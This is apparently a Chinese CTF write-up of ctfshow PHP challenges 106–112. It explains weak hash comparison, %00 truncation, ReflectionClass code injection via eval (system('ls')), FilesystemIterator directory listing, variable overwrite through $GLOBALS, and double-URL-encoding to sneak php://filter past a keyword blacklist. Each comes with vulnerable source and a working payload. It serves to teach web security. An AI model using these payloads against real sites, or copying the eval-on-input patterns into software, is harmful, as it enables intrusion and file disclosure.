总结

  1. 1.md5弱碰撞总结过了
  2. 2.108正则的%00截断
  3. 3.反射类的使用
  4. 4.Filesystemlterator内置类的使用及其遍历+getcwd()返回当前工作路径
  5. 5.超级全局变量的变量覆盖
  6. 6.URL二次编码绕过

106 md弱碰撞

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. include("flag.php");
  4. if(isset($_POST['v1']) && isset($_GET['v2'])){
  5. $v1 = $_POST['v1'];
  6. $v2 = $_GET['v2'];
  7. if(sha1($v1)==sha1($v2) && $v1!=$v2){
  8. echo $flag;
  9. }
  10. }
  11. ?>

md5弱比较,上个系列说过了

107 md5弱碰撞

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. include("flag.php");
  5. if(isset($_POST['v1'])){
  6. $v1 = $_POST['v1'];
  7. $v3 = $_GET['v3'];
  8. parse_str($v1,$v2);
  9. if($v2['flag']==md5($v3)){
  10. echo $flag;
  11. }
  12. }
  13. ?>

看到了个没见过的函数

  1. <?php
  2. parse_str("name=Bill&age=60");
  3. echo $name."<br>";
  4. echo $age;
  5. ?>
  6. 输出
  7. Bill
  8. age
  9. 如果传了两个参数,第二个参数是个数字,那么就是存储为数字的形式

但是其实题目没啥好讲的,$v2[‘flag’]==md5($v3),那么md($v3)就是一个弱碰撞,$v2[‘flag’]的值就给个0就好了
payload:

  1. ?v3=aabg7XSs
  2. post:v1=flag=0

108 %00截断

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. include("flag.php");
  5. if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
  6. die('error');
  7. }
  8. //只有36d的人才能看到flag
  9. if(intval(strrev($_GET['c']))==0x36d){
  10. echo $flag;
  11. }
  12. ?>

讲解一下几个函数

  1. ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的.类似于正则吧
  2. strrev()反转字符串

所以这里需要满足以ereg的^[a-zA-Z]+$,还要满足strrev
直接%00截断
上传a%00778

109 反射类的使用

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. if(isset($_GET['v1']) && isset($_GET['v2'])){
  5. $v1 = $_GET['v1'];
  6. $v2 = $_GET['v2'];
  7. if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
  8. eval("echo new $v1($v2());");
  9. }
  10. }
  11. ?>

payload:

  1. ?v1=ReflectionClass&v2=system('ls')

110

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. if(isset($_GET['v1']) && isset($_GET['v2'])){
  5. $v1 = $_GET['v1'];
  6. $v2 = $_GET['v2'];
  7. if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
  8. die("error v1");
  9. }
  10. if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
  11. die("error v2");
  12. }
  13. eval("echo new $v1($v2());");
  14. }
  15. ?>

过滤了很多东西包括’ (所以上一题的payload就不能用了
看了一下提示 考察点是 FilesystemIterator
学习一下

  1. <?php
  2. $a = new FilesystemIterator('./263');
  3. while($a->valid()) //判断是否到底
  4. {
  5. echo $a->getFilename();
  6. echo "\r\n";
  7. $a -> next();
  8. }
  9. ?>
  10. 输出:
  11. check.php
  12. css
  13. flag.php
  14. inc
  15. index.php
  16. js

再学习一下 getcwd()函数:获取当前工作目录 返回当前工作目录
所以payload如下:

  1. ?v1=FilesystemIterator&v2=getcwd

FilesystemIterator(getcwd()),就是返回当前目录的文件,但是这道题目只能返回一个,因为没有遍历
发现fl36dag.txt直接访问

111 变量覆盖+超级全局变量

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. include("flag.php");
  5. function getFlag(&$v1,&$v2){
  6. eval("$$v1 = &$$v2;");
  7. var_dump($$v1);
  8. }
  9. if(isset($_GET['v1']) && isset($_GET['v2'])){
  10. $v1 = $_GET['v1'];
  11. $v2 = $_GET['v2'];
  12. if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
  13. die("error v1");
  14. }
  15. if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
  16. die("error v2");
  17. }
  18. if(preg_match('/ctfshow/', $v1)){
  19. getFlag($v1,$v2);
  20. }
  21. }
  22. ?>

看题解的一题
前两个if$v1 $v2被过滤了很多字母和数字,但是没有过滤大小写字母
第三个if要求$v1必须是ctfshow
这里要讲解一下超级全局变量$GLOBAS:引用全局作用域中可用的全部变量
我们$v1定下来是ctfshow,如果$v2传入一个GLOBALS
那么在下面这串代码中会出现变量覆盖

  1. function getFlag(&$v1,&$v2){
  2. eval("$$v1 = &$$v2;");
  3. var_dump($$v1);
  4. }
  5. //$$v1-->$ctfshow $$v2-->$GLOBALS &$$v2就是超级全局变量的地址 感觉要不要这个&都行emm

最后输出$$v1—>$ctfshow就是所有的全局变量,就能得到flag了

112 二次url编码绕过

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. function filter($file){
  5. if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
  6. die("hacker!");
  7. }else{
  8. return $file;
  9. }
  10. }
  11. $file=$_GET['file'];
  12. if(! is_file($file)){
  13. highlight_file(filter($file));
  14. }else{
  15. echo "hacker!";
  16. }

filter是一个对$file的过滤函数
假如我们直接用php伪协议读取文件

  1. php://filter/read=convert.base64-encode/resource=flag.php

会被正则匹配到 然后die出hacker
我们知道在进行一次url访问的时候,浏览器会自动对url进行一次解码,但是如果我们对于b进行了两次url编码,那么就可以绕过filter的过滤
payload

  1. php://filter/read=convert.%25%36%32ase64-encode/resource=flag.php